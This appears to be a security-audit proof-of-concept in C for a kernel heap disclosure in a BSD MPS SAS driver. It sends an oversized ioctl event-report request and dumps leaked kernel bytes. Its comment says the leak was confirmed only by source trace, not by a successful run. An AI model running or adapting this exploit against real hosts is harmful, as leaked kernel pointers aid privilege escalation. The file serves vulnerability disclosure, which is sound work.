DF-1360 / poc.c
/* * DF-1360 PoC: kernel heap disclosure via mps_user_event_report (mps_user.c). * * Twin of DF-1328 (the mpr driver's identical bug). The mps (LSI MPS SAS) * driver does not attach on the audit QEMU guest (no SAS HBA present), so * /dev/mps0 does not exist and this PoC fails at open() with ENOENT. The bug * is confirmed by source trace; this is a real PoC that would leak kernel * heap on an mps-equipped host (reachable by root or operator-group users). * * Cited path: sys/dev/raid/mps/mps_user.c:1856 (size = data->Size; uint32 user) * sys/dev/raid/mps/mps_user.c:1857 (if (size >= sizeof(recorded_events))) * sys/dev/raid/mps/mps_user.c:1859 (copyout(recorded_events, ..., size)) * array: sys/dev/raid/mps/mpsvar.h:414 (recorded_events[MPS_EVENT_QUEUE_SIZE=50]) * each entry 200 bytes (4+4+4*48) => array = 10000 bytes * * The gate at 1857 is a LOWER bound (size >= 10000), but the copyout length is * the user-supplied `size`, which can be up to 4 GiB. Setting size = 256 KiB * reads 256 KiB out of recorded_events -> 10000 bytes of the array plus ~240 KiB * of the softc tail (DMA addresses, kernel pointers) and adjacent heap. * * Build: cc -O2 -o poc poc.c * Run: ./poc (on this guest: exits 1, "open /dev/mps0: No such file") */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <sys/ioctl.h> /* Mirror of sys/dev/raid/mps/mps_ioctl.h event-report ioctl + struct. The * real MPTIOCTL_EVENT_REPORT value differs from mpr; we attempt the open first * and only ioctl() if the device exists. */ #ifndef MPTIOCTL_EVENT_REPORT #define MPTIOCTL_EVENT_REPORT _IOWR('M', 0x21, struct mps_event_report) #endif struct mps_event_report { uint32_t Size; uint64_t PtrEvents; }; int main(void) { int fd = open("/dev/mps0", O_RDWR); if (fd < 0) { printf("poc: open /dev/mps0: %s (errno=%d)\n", strerror(errno), errno); printf("poc: mps driver not attached on this guest (no SAS HBA) -> " "cannot reach mps_user_event_report.\n"); return 1; } /* Provide a 256 KiB user buffer; ask the driver to copy `size` bytes out * of its 10000-byte recorded_events array. The bug copies 256 KiB. */ uint32_t leak_size = 256 * 1024; uint8_t *buf = calloc(1, leak_size); if (!buf) { perror("calloc"); close(fd); return 1; } struct mps_event_report er; er.Size = leak_size; er.PtrEvents = (uint64_t)(uintptr_t)buf; if (ioctl(fd, MPTIOCTL_EVENT_REPORT, &er) < 0) { printf("poc: ioctl EVENT_REPORT: %s\n", strerror(errno)); free(buf); close(fd); return 1; } /* Bytes [10000 .. leak_size) are kernel heap that was never part of * recorded_events -> disclosure. Dump the first leaked kernel bytes. */ printf("poc: requested %u bytes; recorded_events is 10000 bytes.\n", leak_size); printf("poc: leaked tail (offset 10000..10064, softc/DMA/heap):\n"); for (int i = 10000; i < 10064; i++) printf("%02x ", buf[i]); printf("\n"); free(buf); close(fd); return 0; } |